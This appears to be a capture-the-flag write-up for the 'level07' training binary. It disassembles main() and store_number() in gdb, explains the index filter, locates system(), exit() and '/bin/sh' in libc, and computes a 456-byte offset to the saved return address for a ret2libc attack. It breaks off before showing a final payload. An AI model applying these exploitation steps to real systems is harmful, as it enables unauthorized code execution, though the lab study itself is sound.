gdb
is useful for us to understand how a given binary works.
Let's see what this program does...
$> gdb ./level07
(gdb) disassemble main
Dump of assembler code for function main:
0x08048723 <+0>: push %ebp
0x08048724 <+1>: mov %esp,%ebp
0x08048726 <+3>: push %edi
0x08048727 <+4>: push %esi
0x08048728 <+5>: push %ebx
0x08048729 <+6>: and $0xfffffff0,%esp
0x0804872c <+9>: sub $0x1d0,%esp
0x08048732 <+15>: mov 0xc(%ebp),%eax
0x08048735 <+18>: mov %eax,0x1c(%esp)
0x08048739 <+22>: mov 0x10(%ebp),%eax
0x0804873c <+25>: mov %eax,0x18(%esp)
0x08048740 <+29>: mov %gs:0x14,%eax
0x08048746 <+35>: mov %eax,0x1cc(%esp)
0x0804874d <+42>: xor %eax,%eax
0x0804874f <+44>: movl $0x0,0x1b4(%esp)
0x0804875a <+55>: movl $0x0,0x1b8(%esp)
0x08048765 <+66>: movl $0x0,0x1bc(%esp)
0x08048770 <+77>: movl $0x0,0x1c0(%esp)
0x0804877b <+88>: movl $0x0,0x1c4(%esp)
0x08048786 <+99>: movl $0x0,0x1c8(%esp)
0x08048791 <+110>: lea 0x24(%esp),%ebx
0x08048795 <+114>: mov $0x0,%eax
0x0804879a <+119>: mov $0x64,%edx
0x0804879f <+124>: mov %ebx,%edi
0x080487a1 <+126>: mov %edx,%ecx
0x080487a3 <+128>: rep stos %eax,%es:(%edi)
0x080487a5 <+130>: jmp 0x80487ea <main+199>
0x080487a7 <+132>: mov 0x1c(%esp),%eax
0x080487ab <+136>: mov (%eax),%eax
0x080487ad <+138>: movl $0xffffffff,0x14(%esp)
0x080487b5 <+146>: mov %eax,%edx
0x080487b7 <+148>: mov $0x0,%eax
0x080487bc <+153>: mov 0x14(%esp),%ecx
0x080487c0 <+157>: mov %edx,%edi
0x080487c2 <+159>: repnz scas %es:(%edi),%al
0x080487c4 <+161>: mov %ecx,%eax
0x080487c6 <+163>: not %eax
0x080487c8 <+165>: lea -0x1(%eax),%edx
0x080487cb <+168>: mov 0x1c(%esp),%eax
0x080487cf <+172>: mov (%eax),%eax
0x080487d1 <+174>: mov %edx,0x8(%esp)
0x080487d5 <+178>: movl $0x0,0x4(%esp)
0x080487dd <+186>: mov %eax,(%esp)
0x080487e0 <+189>: call 0x80484f0 <memset@plt>
0x080487e5 <+194>: addl $0x4,0x1c(%esp)
0x080487ea <+199>: mov 0x1c(%esp),%eax
0x080487ee <+203>: mov (%eax),%eax
0x080487f0 <+205>: test %eax,%eax
0x080487f2 <+207>: jne 0x80487a7 <main+132>
0x080487f4 <+209>: jmp 0x8048839 <main+278>
0x080487f6 <+211>: mov 0x18(%esp),%eax
0x080487fa <+215>: mov (%eax),%eax
0x080487fc <+217>: movl $0xffffffff,0x14(%esp)
0x08048804 <+225>: mov %eax,%edx
0x08048806 <+227>: mov $0x0,%eax
0x0804880b <+232>: mov 0x14(%esp),%ecx
0x0804880f <+236>: mov %edx,%edi
0x08048811 <+238>: repnz scas %es:(%edi),%al
0x08048813 <+240>: mov %ecx,%eax
0x08048815 <+242>: not %eax
0x08048817 <+244>: lea -0x1(%eax),%edx
0x0804881a <+247>: mov 0x18(%esp),%eax
0x0804881e <+251>: mov (%eax),%eax
0x08048820 <+253>: mov %edx,0x8(%esp)
0x08048824 <+257>: movl $0x0,0x4(%esp)
0x0804882c <+265>: mov %eax,(%esp)
0x0804882f <+268>: call 0x80484f0 <memset@plt>
0x08048834 <+273>: addl $0x4,0x18(%esp)
0x08048839 <+278>: mov 0x18(%esp),%eax
0x0804883d <+282>: mov (%eax),%eax
0x0804883f <+284>: test %eax,%eax
0x08048841 <+286>: jne 0x80487f6 <main+211>
0x08048843 <+288>: movl $0x8048b38,(%esp)
0x0804884a <+295>: call 0x80484c0 <puts@plt>
0x0804884f <+300>: mov $0x8048d4b,%eax
0x08048854 <+305>: mov %eax,(%esp)
0x08048857 <+308>: call 0x8048470 <printf@plt>
0x0804885c <+313>: movl $0x1,0x1b4(%esp)
0x08048867 <+324>: mov 0x804a040,%eax
0x0804886c <+329>: mov %eax,0x8(%esp)
0x08048870 <+333>: movl $0x14,0x4(%esp)
0x08048878 <+341>: lea 0x1b8(%esp),%eax
0x0804887f <+348>: mov %eax,(%esp)
0x08048882 <+351>: call 0x80484a0 <fgets@plt>
0x08048887 <+356>: lea 0x1b8(%esp),%eax
0x0804888e <+363>: movl $0xffffffff,0x14(%esp)
0x08048896 <+371>: mov %eax,%edx
0x08048898 <+373>: mov $0x0,%eax
0x0804889d <+378>: mov 0x14(%esp),%ecx
0x080488a1 <+382>: mov %edx,%edi
0x080488a3 <+384>: repnz scas %es:(%edi),%al
0x080488a5 <+386>: mov %ecx,%eax
0x080488a7 <+388>: not %eax
0x080488a9 <+390>: sub $0x1,%eax
0x080488ac <+393>: sub $0x1,%eax
0x080488af <+396>: movb $0x0,0x1b8(%esp,%eax,1)
0x080488b7 <+404>: lea 0x1b8(%esp),%eax
0x080488be <+411>: mov %eax,%edx
0x080488c0 <+413>: mov $0x8048d5b,%eax
0x080488c5 <+418>: mov $0x5,%ecx
0x080488ca <+423>: mov %edx,%esi
0x080488cc <+425>: mov %eax,%edi
0x080488ce <+427>: repz cmpsb %es:(%edi),%ds:(%esi)
0x080488d0 <+429>: seta %dl
0x080488d3 <+432>: setb %al
0x080488d6 <+435>: mov %edx,%ecx
0x080488d8 <+437>: sub %al,%cl
0x080488da <+439>: mov %ecx,%eax
0x080488dc <+441>: movsbl %al,%eax
0x080488df <+444>: test %eax,%eax
0x080488e1 <+446>: jne 0x80488f8 <main+469>
0x080488e3 <+448>: lea 0x24(%esp),%eax
0x080488e7 <+452>: mov %eax,(%esp)
0x080488ea <+455>: call 0x8048630 <store_number>
0x080488ef <+460>: mov %eax,0x1b4(%esp)
0x080488f6 <+467>: jmp 0x8048965 <main+578>
0x080488f8 <+469>: lea 0x1b8(%esp),%eax
0x080488ff <+476>: mov %eax,%edx
0x08048901 <+478>: mov $0x8048d61,%eax
0x08048906 <+483>: mov $0x4,%ecx
0x0804890b <+488>: mov %edx,%esi
0x0804890d <+490>: mov %eax,%edi
0x0804890f <+492>: repz cmpsb %es:(%edi),%ds:(%esi)
0x08048911 <+494>: seta %dl
0x08048914 <+497>: setb %al
0x08048917 <+500>: mov %edx,%ecx
0x08048919 <+502>: sub %al,%cl
0x0804891b <+504>: mov %ecx,%eax
0x0804891d <+506>: movsbl %al,%eax
0x08048920 <+509>: test %eax,%eax
0x08048922 <+511>: jne 0x8048939 <main+534>
0x08048924 <+513>: lea 0x24(%esp),%eax
0x08048928 <+517>: mov %eax,(%esp)
0x0804892b <+520>: call 0x80486d7 <read_number>
0x08048930 <+525>: mov %eax,0x1b4(%esp)
0x08048937 <+532>: jmp 0x8048965 <main+578>
0x08048939 <+534>: lea 0x1b8(%esp),%eax
0x08048940 <+541>: mov %eax,%edx
0x08048942 <+543>: mov $0x8048d66,%eax
0x08048947 <+548>: mov $0x4,%ecx
0x0804894c <+553>: mov %edx,%esi
0x0804894e <+555>: mov %eax,%edi
0x08048950 <+557>: repz cmpsb %es:(%edi),%ds:(%esi)
0x08048952 <+559>: seta %dl
0x08048955 <+562>: setb %al
0x08048958 <+565>: mov %edx,%ecx
0x0804895a <+567>: sub %al,%cl
0x0804895c <+569>: mov %ecx,%eax
0x0804895e <+571>: movsbl %al,%eax
0x08048961 <+574>: test %eax,%eax
0x08048963 <+576>: je 0x80489cf <main+684>
0x08048965 <+578>: cmpl $0x0,0x1b4(%esp)
0x0804896d <+586>: je 0x8048989 <main+614>
0x0804896f <+588>: mov $0x8048d6b,%eax
0x08048974 <+593>: lea 0x1b8(%esp),%edx
0x0804897b <+600>: mov %edx,0x4(%esp)
0x0804897f <+604>: mov %eax,(%esp)
0x08048982 <+607>: call 0x8048470 <printf@plt>
0x08048987 <+612>: jmp 0x80489a1 <main+638>
0x08048989 <+614>: mov $0x8048d88,%eax
0x0804898e <+619>: lea 0x1b8(%esp),%edx
0x08048995 <+626>: mov %edx,0x4(%esp)
0x08048999 <+630>: mov %eax,(%esp)
0x0804899c <+633>: call 0x8048470 <printf@plt>
0x080489a1 <+638>: lea 0x1b8(%esp),%eax
0x080489a8 <+645>: movl $0x0,(%eax)
0x080489ae <+651>: movl $0x0,0x4(%eax)
0x080489b5 <+658>: movl $0x0,0x8(%eax)
0x080489bc <+665>: movl $0x0,0xc(%eax)
0x080489c3 <+672>: movl $0x0,0x10(%eax)
0x080489ca <+679>: jmp 0x804884f <main+300>
0x080489cf <+684>: nop
0x080489d0 <+685>: mov $0x0,%eax
0x080489d5 <+690>: mov 0x1cc(%esp),%esi
0x080489dc <+697>: xor %gs:0x14,%esi
0x080489e3 <+704>: je 0x80489ea <main+711>
0x080489e5 <+706>: call 0x80484b0 <__stack_chk_fail@plt>
0x080489ea <+711>: lea -0xc(%ebp),%esp
0x080489ed <+714>: pop %ebx
0x080489ee <+715>: pop %esi
0x080489ef <+716>: pop %edi
0x080489f0 <+717>: pop %ebp
0x080489f1 <+718>: ret
End of assembler dump.
It uses
memset()
,puts()
,printf()
,fgets()
and two custom functionsstore_number()
andread_number()
.
First, this program is erasing the environment variables along with the array of program's arguments. So we probably can't perform a shellcode injection this time. Then it displays us a little interface with few commands:
store
allows us to store some data in the store.read
allows us to read some data from the store.quit
leaves the infinite loop and quit the program.
What the program call "storage" is a simple array of 100 integers that we can fill with whatever we want.
0x0804879a <+119>: mov $0x64,%edx
This line at the beginning of
main()
tells us the size of our buffer.0x64
= 100.
Let's see how store_number()
behaves...
$> gdb ./level07
(gdb) disassemble store_number
Dump of assembler code for function store_number:
0x08048630 <+0>: push %ebp
0x08048631 <+1>: mov %esp,%ebp
0x08048633 <+3>: sub $0x28,%esp
0x08048636 <+6>: movl $0x0,-0x10(%ebp)
0x0804863d <+13>: movl $0x0,-0xc(%ebp)
0x08048644 <+20>: mov $0x8048ad3,%eax
0x08048649 <+25>: mov %eax,(%esp)
0x0804864c <+28>: call 0x8048470 <printf@plt>
0x08048651 <+33>: call 0x80485e7 <get_unum>
0x08048656 <+38>: mov %eax,-0x10(%ebp)
0x08048659 <+41>: mov $0x8048add,%eax
0x0804865e <+46>: mov %eax,(%esp)
0x08048661 <+49>: call 0x8048470 <printf@plt>
0x08048666 <+54>: call 0x80485e7 <get_unum>
0x0804866b <+59>: mov %eax,-0xc(%ebp)
0x0804866e <+62>: mov -0xc(%ebp),%ecx
0x08048671 <+65>: mov $0xaaaaaaab,%edx
0x08048676 <+70>: mov %ecx,%eax
0x08048678 <+72>: mul %edx
0x0804867a <+74>: shr %edx
0x0804867c <+76>: mov %edx,%eax
0x0804867e <+78>: add %eax,%eax
0x08048680 <+80>: add %edx,%eax
0x08048682 <+82>: mov %ecx,%edx
0x08048684 <+84>: sub %eax,%edx
0x08048686 <+86>: test %edx,%edx
0x08048688 <+88>: je 0x8048697 <store_number+103>
0x0804868a <+90>: mov -0x10(%ebp),%eax
0x0804868d <+93>: shr $0x18,%eax
0x08048690 <+96>: cmp $0xb7,%eax
0x08048695 <+101>: jne 0x80486c2 <store_number+146>
0x08048697 <+103>: movl $0x8048ae6,(%esp)
0x0804869e <+110>: call 0x80484c0 <puts@plt>
0x080486a3 <+115>: movl $0x8048af8,(%esp)
0x080486aa <+122>: call 0x80484c0 <puts@plt>
0x080486af <+127>: movl $0x8048ae6,(%esp)
0x080486b6 <+134>: call 0x80484c0 <puts@plt>
0x080486bb <+139>: mov $0x1,%eax
0x080486c0 <+144>: jmp 0x80486d5 <store_number+165>
0x080486c2 <+146>: mov -0xc(%ebp),%eax
0x080486c5 <+149>: shl $0x2,%eax
0x080486c8 <+152>: add 0x8(%ebp),%eax
0x080486cb <+155>: mov -0x10(%ebp),%edx
0x080486ce <+158>: mov %edx,(%eax)
0x080486d0 <+160>: mov $0x0,%eax
0x080486d5 <+165>: leave
0x080486d6 <+166>: ret
End of assembler dump.
This function asks which value to store at which index of the array with a little twist according to Ghidra's feedback...
(index % 3 == 0 || (input >> 24) == 0xb7) {
printf(" *** ERROR! ***\n");
printf(" This index is reserved for wil!\n");
printf(" *** ERROR! ***\n");
return 1;
}
The requested index can't be a multiple of 3 and its first byte can't be
0xb7
, representing the range of libc call addresses.
(gdb) find &system, +999999999, "/bin/sh"
0xf7f897ec
The string /bin/sh
is located at address 0xf7f897ec
.
(gdb) print &system
$1 = (<text variable, no debug info> *) 0xf7e6aed0 <system>
Function system()
is located at address 0xf7e6aed0
.
(gdb) print &exit
$1 = (<text variable, no debug info> *) 0xf7e5eb70 <system>
Function exit()
is located at address 0xf7e5eb70
.
Since we'll need to create a buffer overflow, we must retrieve its offset, for that easiest way is to break before store_number()
or read_number()
and get both EIP's value and buffer's address to substract them.
(gdb) b *main+520
Breakpoint 1 at 0x804892b
(gdb) run
Starting program: /home/users/level07/level07
----------------------------------------------------
Welcome to wil's crappy number storage service!
----------------------------------------------------
Commands:
store - store a number into the data storage
read - read a number from the data storage
quit - exit the program
----------------------------------------------------
wil has reserved some storage :>
----------------------------------------------------
Input command: read
Breakpoint 1, 0x0804892b in main ()
(gdb) i r
eax 0xffffd544 -10940
ecx 0xffffd600 -10752
edx 0xffffd600 -10752
ebx 0xffffd544 -10940
esp 0xffffd520 0xffffd520
ebp 0xffffd708 0xffffd708
esi 0xffffd6dc -10532
edi 0x8048d65 134516069
eip 0x804892b 0x804892b <main+520>
eflags 0x246 [ PF ZF IF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
(gdb) i f
Stack level 0, frame at 0xffffd710:
eip = 0x804892b in main; saved eip 0xf7e45513
Arglist at 0xffffd708, args:
Locals at 0xffffd708, Previous frame's sp is 0xffffd710
Saved registers:
ebx at 0xffffd6fc, ebp at 0xffffd708, esi at 0xffffd700, edi at 0xffffd704, eip at 0xffffd70c
(gdb) print 0xffffd70c - 0xffffd544
$1 = 456
Since our buffer is the only parameter of the function, it is stored in
eax
register.
So the offset of this buffer is 456 bytes.